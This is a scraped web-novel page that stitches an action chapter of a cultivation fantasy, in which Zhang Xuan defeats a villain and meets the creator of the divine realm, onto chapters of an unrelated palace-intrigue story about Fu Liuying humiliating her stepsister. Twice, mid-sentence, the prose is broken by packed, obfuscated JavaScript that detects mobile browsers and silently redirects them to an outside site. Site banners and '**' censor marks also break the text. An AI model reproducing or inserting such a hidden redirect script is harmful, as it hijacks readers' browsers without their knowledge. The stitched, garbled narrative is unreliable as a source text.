正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第三十四章 抓奸 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中**出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情**，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们**，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以**……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他**……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法**吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法**，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经**是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，**顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽**下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会**，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935528|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，**开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被**出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第三十五章 下跪认错 傅明雪心中大喜。 “父亲，你看，我就说这里有暗格，那个野男人一定是被姐姐藏在了这里。” 傅莽阴沉着一张脸，也不知道他在想些什么。 傅流萤缓缓走过去，眼中没有丝毫的慌乱。 她的嘴角勾起了一抹浅浅的笑容。 傅莽走过来看。 “傅流萤，你还有什么话可说？” 他甚至都没有看暗格，就已经认定了傅流萤把男人藏在了这里。 “父亲也不看一看就定我的罪了吗？这般武断，也不知道父亲当初是怎么当上大将军的。” 傅流萤轻轻的笑着。 现在她有太后的令牌在手，又是未来的督主夫人，已经是天不怕地不怕。 对付将军府的这些人，对她来说，并不难。 傅莽很想生气，但是他说不过傅流萤，又不能对她动手。 一旦动手，太后娘娘对将军府的印象只会更差。 所以傅莽只能强忍着。 他走过去弯下腰，里面空空如也，并没有什么所谓的野男人。 傅莽还是不放心。 让一个侍卫爬进去检查。 仔细检查一遍之后确认什么都没有。 傅明雪的脸色瞬间难看了下，来怎么会没有呢？ 刚才她明明看到傅流萤的眼底闪过了心虚。 到底是哪一步出了差错。 傅明雪怎么也想不明白。 她抬头看向傅流萤，直接傅流萤用一种玩味的眼神看着她。 傅明雪瞬间反应过来，她是被傅流萤戏耍了。 这个贱｜人！ 竟然故意引诱她，让她上钩。 “父亲现在看到了吧，请问我的闺房里有野男人吗？” 傅流萤似笑非笑，那充斥着冰冷的眼神如同一道道冰刃，直接扎在了傅莽的身上。 刚才那一瞬间他甚至很想坐实傅流萤私藏男人的罪名。 这样他就有理由把傅流萤赶出将军府，从此以后不再认这个逆女。 他宁愿让将军府蒙羞都不想要有这么一个忤逆父亲的逆女在府里惹他生气。 “这只是一场误会。”傅莽的表情无比的复杂。 “既然已经澄清了，那父亲是不是可以让傅明雪跪下来认错了？” 傅明雪跪在地上泪眼婆娑。 “父亲。” 傅莽不敢看傅明雪的眼睛。 他实在是不忍心惩罚傅明雪。 傅莽轻咳了一声，“流萤，既然是一场误会那就这样算了吧，时间不早了大家都回院子休息吧。” 说着，傅莽就要领着大家离开。 “父亲，这是要言而无信了？”傅流萤挡着路，完全没有要让开的意思。 “傅流萤，你胡闹什么？既然是一场闹剧说开了误会也就解开了，难不成你真想让明雪给你当众下跪不成？”傅凛跳出来指着傅流萤，有些气急败坏。 “又有何不可？”傅流萤眉头轻挑，“父亲刚才都已经答应我了难不成还想要反悔？” “姐姐，刚才是我的错，我不应该没有搞清楚情况就带着父亲和哥哥来，是我没有考虑清楚，你就原谅我这一次吧，我保证以后不会再犯了。” “你道歉，我就一定要原谅吗？”傅流萤笑了笑，眼底却没有丝毫的笑意。 说着，傅流萤一把突然伸手扯开傅明雪的衣领，“我让你走了吗？嗯？” 就在这时，一枚精致的香囊从傅明雪怀中掉落，傅凛脸色骤变。 “这不是……”柳飞燕捡起香囊，上面赫然绣着“凛”字。 看到这个香囊，柳飞燕只觉得头都要炸开了。 傅凛的贴身香囊怎么会被明雪收在怀里？ 难道流萤刚才说的都是真的，他们这一对兄妹已经生出了不该有的情愫？ 这怎么可以！ 柳飞燕的身形摇摇欲坠，脸色煞白。 他们虽然不是亲兄妹，但却一直以亲兄妹相称。 他们怎么可以私底下暗通款曲？ 柳飞燕死死的捏着手帕。 屋内瞬间死寂。 傅流萤轻笑出声，从地上捡起了那一枚香囊。 “三哥的贴身之物，怎会在妹妹怀里？” 傅凛面红耳赤：“那是我……” “够了！”傅莽一把夺过香囊，额角突突直跳。 他再糊涂也看出端倪，厉声道，“傅明雪，跪下！” 傅明雪跪在了地上，一副不知所措的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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傅明雪整整跪了接近一个时辰。 傅流萤打了一个哈欠，有些困了。 “天亮了，折腾了一整晚我也有些累了，你们可以走了。” 第三十六章 毒发 说着，傅流萤转身看向傅莽，“父亲，祠堂的蒲团记得换成硬木的。” 傅莽的脸色一僵，冰冷的神色紧盯着傅流萤。 这个逆女！ 傅流萤才不管傅莽怎么看她。 只要他们不开心，她就高兴。 她俯身在傅明雪耳边轻声道，“明雪妹妹妹，女戒抄错一个字，重抄十遍，以此累计叠加，我会派我的贴身侍女春芽好好看着妹妹。” 傅明雪的身形摇摇欲坠，随后被两个婆子架着胳膊拖出去，那双含泪的眼睛里淬满了毒。 她死死盯着傅流萤，嘴唇颤抖着无声说了几个字。 傅流萤看得分明。 “你给我等着。” “妹妹还是省些力气吧。”傅流萤用帕子掩着嘴角，声音轻得只有她们二人能听见。 